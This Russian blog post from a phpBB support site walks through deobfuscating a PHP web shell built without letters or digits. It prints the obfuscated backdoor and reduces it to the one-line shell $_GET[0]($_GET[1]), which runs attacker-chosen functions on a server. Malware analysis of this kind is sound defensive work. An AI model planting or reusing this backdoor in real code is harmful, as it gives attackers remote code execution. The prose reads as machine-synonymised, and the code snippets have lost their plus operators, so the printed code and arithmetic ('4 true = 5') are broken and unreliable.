Главная
Блог разработчиков phpBB
 
+ 17 предустановленных модов
+ SEO-оптимизация форума
+ авторизация через соц. сети
+ защита от спама

Деобфускация бэкдора

Anna | 31.05.2014 | нет комментариев

Месяц назад я увидел увлекательный пост про PHP-шелл без цельного буквенно-цифрового символа и крепко захотел осознать, что же он делает. Кому увлекательно — под кат!

Вот сам зловредный код

@$_[]=@! _; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((  $__) ($__   ))].=$_;
$_[]=  $__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__ $__)  $_[$__-$__]).($__ $__ $__) $_[$__-$__];
$_[$__ $__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__ $__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__ $__] .=($_[$__][$__ $__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__  $__] ;$_[@-_]($_[@! _] );

Выходит, по строчечкам:
@$_[]=@! _; — инициализуем массив $_ (убрав итог ошибок), при этом мы добавляем в массив элемент, так как массив пустой, то у элемента будет 0 индекс. _ PHP рассматривает как константу, безусловно ее не находит, следственно считает символ _ как string(1) “_”. Оператор делает приведение этой строки к числовому типу (0), дальше идет отрицание, приводящее число к булевому типу, и отрицание в выводе дающее нам исключительный элемент в массиве:
array(1) { [0]=> bool(true) }
Побитовый сдвиг @${_}>>$_ дает нам (int)0.
Приблизиться к истине это не дает:

@$arrArray[]=@! _;
$var2=0;

$arrArray[]=$var2;
$arrArray[]=@_;
$arrArray[((  $var2) ($var2   ))].=$arrArray;
$arrArray[]=  $var2; 
$arrArray[]=$arrArray[--$var2][$var2>>$var2];
$arrArray[$var2].=(($var2 $var2)  $arrArray[$var2-$var2]).($var2 $var2 $var2) $arrArray[$var2-$var2];
$arrArray[$var2 $var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][$var2 $var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

По крайней мере мы можем сократить число строк в исходнике:

$var2=0;
$arrArray = array(true, 0, "_");
$arrArray[((  $var2) ($var2   ))].=$arrArray;

$arrArray[]=  $var2; 
$arrArray[]=$arrArray[--$var2][$var2>>$var2];
$arrArray[$var2].=(($var2 $var2)  $arrArray[$var2-$var2]).($var2 $var2 $var2) $arrArray[$var2-$var2];
$arrArray[$var2 $var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][$var2 $var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

(( $var2) ($var2 )) — это то, что любят на дрянных собеседованиях. В результате получается 2, следственно$arrArray получится в виде:
$arrArray = array(true, 0, “_Array”);
При конкатенации строки и массива получилось “_Array” — таковы особенности приведения типов в PHP.
Добавим еще один элемент в наш массив:

$arrArray = array(true, 0, "_Array", 3);
$var2=3;

$arrArray[]=$arrArray[--$var2][$var2>>$var2];
$arrArray[$var2].=(($var2 $var2)  $arrArray[$var2-$var2]).($var2 $var2 $var2) $arrArray[$var2-$var2];
$arrArray[$var2 $var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][$var2 $var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

$arrArray[--$var2][$var2>>$var2] — из второго элемента массива необходимо взять 1-й символ. Получим:

$arrArray = array(true, 0, "_Array", 3, "_");

$var2=2;

$arrArray[$var2].=(($var2 $var2)  $arrArray[$var2-$var2]).($var2 $var2 $var2) $arrArray[$var2-$var2];
$arrArray[$var2 $var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][$var2 $var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

Вновь доводится лезть в мануал:
4 true = 5
6 true = 7
5. 7 = «57»

Получаем:

$arrArray = array(true, 0, "_Array57", 3, "_");

$var2=2;

$arrArray[$var2 $var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][$var2 $var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

Вероятно, мы близки к концу. Расшифруем следующую строчку.
$arrArray[4] =($arrArray[2][0]).($arrArray[2][2]^$arrArray[2][6] );
Это тоже самое, что и
$arrArray[4] =”_”.(«r»^«5» );

Избавляемся от еще одной строчки:

$arrArray = array(true, 0, "_Array57", 3, "_G");

$var2=2;

$arrArray[$var2 $var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
$arrArray[$var2 $var2] .=($arrArray[$var2][$var2 $var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

Аналогичным образом для дальнейшей строчки кода:
$arrArray[4] .=($arrArray[2][7])^($arrArray[2][2] );
Получаем:
$arrArray[4] .=«7»^«r»;

В выводе:

$arrArray = array(true, 0, "_Array57", 3, "_GE");

$var2=2;

$arrArray[$var2 $var2] .=($arrArray[$var2][$var2 $var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

Ну и как многие теснее додумались нас ожидает позже деобфускации еще одной строки кода любимый всеми_GET:

$arrArray = array(true, 0, "_Array57", 3, "_GET");

$var2=2;

$arrArray=$ 
$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

Добросовестно говоря, на этом моменте я впал в ступор. В строчке $arrArray=$ я искал неразрывный пробел и иной юникод, тот, что может быть именем переменной. Но, безусловно же, всё проще чем я думал: интерпретатор игнорирует whitespace и мы получаем теснее абсолютно внятную вещь:

$arrArray = array(true, 0, "_Array57", 3, "_GET");

$var2=2;

$arrArray=$$arrArray[$var2  $var2] ;
$arrArray[@-_]($arrArray[@! _] );

Если чуть разжевать, то:

$arrArray = array(true, 0, "_Array57", 3, "_GET");

$var2=2;

$arrArray=$_GET ;
$arrArray[@-_]($arrArray[@! _] );

Собственно каждый бэкдор свелся к одной строчке:

$_GET[0]($_GET[1] );

Сейчас мы верно знаем что и как делает данный скрипт, и можем обойтись без расплывчатых объяснений для пользователя, включающих слова «boolean magic».

Источник: programmingmaster.ru

Оставить комментарий
Форум phpBB, русская поддержка форума phpBB
Рейтинг@Mail.ru 2008 - 2017 © BB3x.ru - русская поддержка форума phpBB